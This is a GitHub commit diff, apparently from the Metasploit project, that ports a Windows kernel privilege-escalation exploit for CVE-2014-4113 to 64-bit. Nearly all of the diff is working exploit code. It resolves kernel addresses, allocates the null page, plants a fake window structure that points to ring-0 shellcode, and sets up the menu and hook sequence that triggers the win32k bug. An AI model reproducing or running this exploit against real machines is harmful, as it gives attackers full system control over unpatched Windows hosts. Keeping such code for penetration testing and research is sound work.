Skip to content

Commit f241299

Browse files
committed
Land jvazquez-r7#22, @zeroSteiner 64 bits version
2 parents d8eaf3d + 042d29b commit f241299

File tree

6 files changed

+197
-62
lines changed

6 files changed

+197
-62
lines changed
Binary file not shown.
Binary file not shown.

external/source/exploits/cve-2014-4113/cve-2014-4113.sln

Lines changed: 10 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,18 +1,26 @@
11

2-
Microsoft Visual Studio Solution File, Format Version 11.00
3-
# Visual Studio 2010
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Express 2013 for Windows Desktop
4+
VisualStudioVersion = 12.0.30723.0
5+
MinimumVisualStudioVersion = 10.0.40219.1
46
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2014-4113", "cve-2014-4113\cve-2014-4113.vcxproj", "{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}"
57
EndProject
68
Global
79
GlobalSection(SolutionConfigurationPlatforms) = preSolution
810
Debug|Win32 = Debug|Win32
11+
Debug|x64 = Debug|x64
912
Release|Win32 = Release|Win32
13+
Release|x64 = Release|x64
1014
EndGlobalSection
1115
GlobalSection(ProjectConfigurationPlatforms) = postSolution
1216
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.ActiveCfg = Debug|Win32
1317
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|Win32.Build.0 = Debug|Win32
18+
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.ActiveCfg = Debug|x64
19+
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Debug|x64.Build.0 = Debug|x64
1420
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.ActiveCfg = Release|Win32
1521
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|Win32.Build.0 = Release|Win32
22+
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.ActiveCfg = Release|x64
23+
{6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B}.Release|x64.Build.0 = Release|x64
1624
EndGlobalSection
1725
GlobalSection(SolutionProperties) = preSolution
1826
HideSolutionNode = FALSE

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 77 additions & 49 deletions
Original file line numberDiff line numberDiff line change
@@ -16,9 +16,13 @@ typedef NTSTATUS *PNTSTATUS;
1616

1717
#define DEBUGGING FALSE
1818

19+
#ifdef _M_X64
20+
typedef unsigned __int64 QWORD;
21+
typedef QWORD *PQWORD;
22+
#endif
23+
1924
int WndProcClue = 0;
2025
int HookCallbackClue = 0;
21-
int HookCallbackThreeClue = 0;
2226
WNDPROC lpPrevWndFunc;
2327
DWORD MyProcessId = 0;
2428
DWORD OffsetWindows = 0;
@@ -45,15 +49,15 @@ typedef NTSTATUS(NTAPI *lZwQuerySystemInformation)(
4549
);
4650

4751
typedef struct _SYSTEM_MODULE {
48-
ULONG Reserved1;
49-
ULONG Reserved2;
52+
HANDLE Reserved1;
53+
PVOID Reserved2;
5054
PVOID ImageBaseAddress;
5155
ULONG ImageSize;
5256
ULONG Flags;
53-
WORD Id;
54-
WORD Rank;
55-
WORD w018;
56-
WORD NameOffset;
57+
USHORT Id;
58+
USHORT Rank;
59+
USHORT w018;
60+
USHORT NameOffset;
5761
BYTE Name[256];
5862
} SYSTEM_MODULE, *PSYSTEM_MODULE;
5963

@@ -66,48 +70,28 @@ typedef struct _SYSTEM_MODULE_INFORMATION {
6670
lPsLookupProcessByProcessId pPsLookupProcessByProcessId = NULL;
6771
lNtAllocateVirtualMemory pNtAllocateVirtualMemory = NULL;
6872

69-
LRESULT __stdcall HookCallbackThree(int code, WPARAM wParam, LPARAM lParam)
70-
{
71-
if (wParam == 4 && *(DWORD *)lParam == GetCurrentThreadId() && *(DWORD *)(lParam + 12) == 0x900516)
72-
HookCallbackThreeClue = 1;
73-
return CallNextHookEx(0, code, wParam, lParam);
74-
}
7573

76-
LRESULT __stdcall HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
74+
long CALLBACK HookCallbackTwo(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
7775
{
78-
LRESULT result;
79-
DWORD v5;
80-
81-
if (Msg == 0x1EB)
82-
{
83-
v5 = GetCurrentThreadId();
84-
SetWindowsHookExA(9, HookCallbackThree, 0, v5);
85-
SendMessageA(hWnd, 0, 0x900516u, 0);
86-
UnhookWindowsHook(9, HookCallbackThree);
87-
if (HookCallbackThreeClue)
88-
{
89-
EndMenu();
90-
result = CallWindowProcA(lpPrevWndFunc, hWnd, 0x1EBu, wParam, lParam);
91-
}
92-
else
93-
{
94-
EndMenu();
95-
result = -5;
96-
}
97-
}
98-
else
99-
{
100-
result = CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
101-
}
102-
return result;
76+
EndMenu();
77+
return -5;
10378
}
10479

105-
LRESULT __stdcall HookCallback(int code, WPARAM wParam, LPARAM lParam) {
80+
LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
81+
#ifdef _M_X64
82+
if (*(DWORD *)(lParam + 16) == 0x1EB && !HookCallbackClue)
83+
#else
10684
if (*(DWORD *)(lParam + 8) == 0x1EB && !HookCallbackClue)
85+
#endif
10786
{
10887
HookCallbackClue = 1;
109-
if (UnhookWindowsHook(4, HookCallback))
110-
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)HookCallbackTwo);
88+
if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) {
89+
#ifdef _M_X64
90+
lpPrevWndFunc = (WNDPROC)SetWindowLongPtr(*(HWND *)(lParam + 24), GWLP_WNDPROC, (ULONG_PTR)HookCallbackTwo);
91+
#else
92+
lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), GWLP_WNDPROC, (LONG)HookCallbackTwo);
93+
#endif
94+
}
11195
}
11296
return CallNextHookEx(0, code, wParam, lParam);
11397
}
@@ -122,13 +106,21 @@ LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) {
122106
return DefWindowProc(hwnd, msg, wParam, lParam);
123107
}
124108

109+
#ifdef _M_X64
110+
QWORD MyPtiCurrent(void) {
111+
void *teb = (void *)__readgsqword(0x30);
112+
QWORD Win32ThreadInfo = (QWORD)*((PQWORD)((PBYTE)teb + 0x78));
125113

114+
return Win32ThreadInfo;
115+
}
116+
#else
126117
DWORD __stdcall MyPtiCurrent() {
127118
__asm {
128119
mov eax, fs : 18h
129120
mov eax, [eax + 40h]
130121
}
131122
}
123+
#endif
132124

133125
int _stdcall shellcode_ring0(int one, int two, int three, int four) {
134126
void *my_process_info = NULL;
@@ -151,6 +143,7 @@ LogMessage(char* pszFormat, ...) {
151143
va_list args;
152144
va_start(args, pszFormat);
153145
vsprintf(s_acBuf, pszFormat, args);
146+
printf("%s\n", s_acBuf);
154147
OutputDebugString(s_acBuf);
155148
va_end(args);
156149
}
@@ -184,6 +177,12 @@ void Win32kNullPage(LPVOID lpPayload) {
184177
return;
185178
}
186179

180+
#ifdef _M_X64
181+
if (VersionInformation.dwMajorVersion == 6 && VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
182+
LogMessage("[*] Windows 6.1 found...");
183+
OffsetWindows = 0x208;
184+
}
185+
#else
187186
if (VersionInformation.dwMajorVersion == 6) {
188187
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows 7 SP1
189188
LogMessage("[*] Windows 6.1 found...");
@@ -212,6 +211,7 @@ void Win32kNullPage(LPVOID lpPayload) {
212211
return;
213212
}
214213
}
214+
#endif
215215
else {
216216
LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion);
217217
return;
@@ -306,9 +306,13 @@ void Win32kNullPage(LPVOID lpPayload) {
306306
return;
307307
}
308308

309+
#ifdef _M_X64
310+
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl));
311+
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId);
312+
#else
309313
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl));
310-
311314
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId);
315+
#endif
312316

313317
MyProcessId = GetCurrentProcessId();
314318

@@ -336,7 +340,11 @@ void Win32kNullPage(LPVOID lpPayload) {
336340
// Making everything ready for exploitation...
337341

338342
LogMessage("[*] Allocating null page...");
343+
#ifdef _M_X64
344+
ULONGLONG base_address = 0x00000000fffffffb;
345+
#else
339346
DWORD base_address = 1;
347+
#endif
340348
SIZE_T region_size = 0x1000;
341349
ULONG zero_bits = 0;
342350
HANDLE current_process = NULL;
@@ -350,7 +358,11 @@ void Win32kNullPage(LPVOID lpPayload) {
350358

351359
LogMessage("[*] Getting PtiCurrent...");
352360

361+
#ifdef _M_X64
362+
ULONGLONG pti = MyPtiCurrent();
363+
#else
353364
DWORD pti = MyPtiCurrent();
365+
#endif
354366

355367
if (pti == 0) {
356368
LoadLibrary("user32.dll");
@@ -363,11 +375,28 @@ void Win32kNullPage(LPVOID lpPayload) {
363375
return;
364376
}
365377
else {
378+
#ifdef _M_X64
379+
LogMessage("[*] Good! pti 0x%016llx", pti);
380+
#else
366381
LogMessage("[*] Good! pti 0x%08x", pti);
382+
#endif
367383
}
368384

369-
370385
LogMessage("[*] Creating a fake structure at NULL...");
386+
387+
#ifdef _M_X64
388+
void *test = NULL;
389+
(QWORD)test = 0x10000000B;
390+
*((PQWORD)test) = pti;
391+
392+
/* win32k!tagWND->bServerSideWindowProc = TRUE */
393+
(QWORD)test = 0x100000025;
394+
*((PBYTE)test) = 4;
395+
396+
/* win32k!tagWND->lpfnWndProc = &shellcode_ring0 */
397+
(QWORD)test = 0x10000008B;
398+
*((PQWORD)test) = &shellcode_ring0;
399+
#else
371400
void *test = promise_land + 3;
372401
/* We need to save this check, otherwise unmapped memory will be dereferenced (blue screen)
373402
.text:BF8B93F4 02C mov edi, _gptiCurrent
@@ -380,7 +409,7 @@ void Win32kNullPage(LPVOID lpPayload) {
380409

381410
test = promise_land + 0x5b;
382411
*(LPDWORD)test = (DWORD)shellcode_ring0;
383-
412+
#endif
384413

385414
// Exploit!
386415

@@ -394,7 +423,7 @@ void Win32kNullPage(LPVOID lpPayload) {
394423
MENUITEMINFOA MenuOneInfo;
395424
memset(&MenuOneInfo, 0, sizeof(MENUITEMINFOA));
396425
MenuOneInfo.cbSize = sizeof(MENUITEMINFOA);
397-
MenuOneInfo.fMask = 64;
426+
MenuOneInfo.fMask = MIIM_STRING;
398427

399428
if (InsertMenuItemA(MenuOne, 0, TRUE, &MenuOneInfo) != TRUE) {
400429
LogMessage("[!] First InsertMenuItemA failed");
@@ -412,7 +441,7 @@ void Win32kNullPage(LPVOID lpPayload) {
412441
MENUITEMINFOA MenuTwoInfo;
413442
memset(&MenuTwoInfo, 0, sizeof(MENUITEMINFOA));
414443
MenuTwoInfo.cbSize = sizeof(MENUITEMINFOA);
415-
MenuTwoInfo.fMask = 68;
444+
MenuTwoInfo.fMask = (MIIM_STRING | MIIM_SUBMENU);
416445
MenuTwoInfo.dwTypeData = "";
417446
MenuTwoInfo.cch = 1;
418447
MenuTwoInfo.hSubMenu = MenuOne;
@@ -423,8 +452,7 @@ void Win32kNullPage(LPVOID lpPayload) {
423452
return;
424453
}
425454

426-
DWORD thread_id = GetCurrentThreadId();
427-
if (SetWindowsHookExA(4, HookCallback, NULL, thread_id) == NULL) {
455+
if (SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()) == NULL) {
428456
LogMessage("[!] SetWindowsHookExA failed :-(\n");
429457
DestroyMenu(MenuTwo);
430458
DestroyMenu(MenuOne);

0 commit comments

Comments
 (0)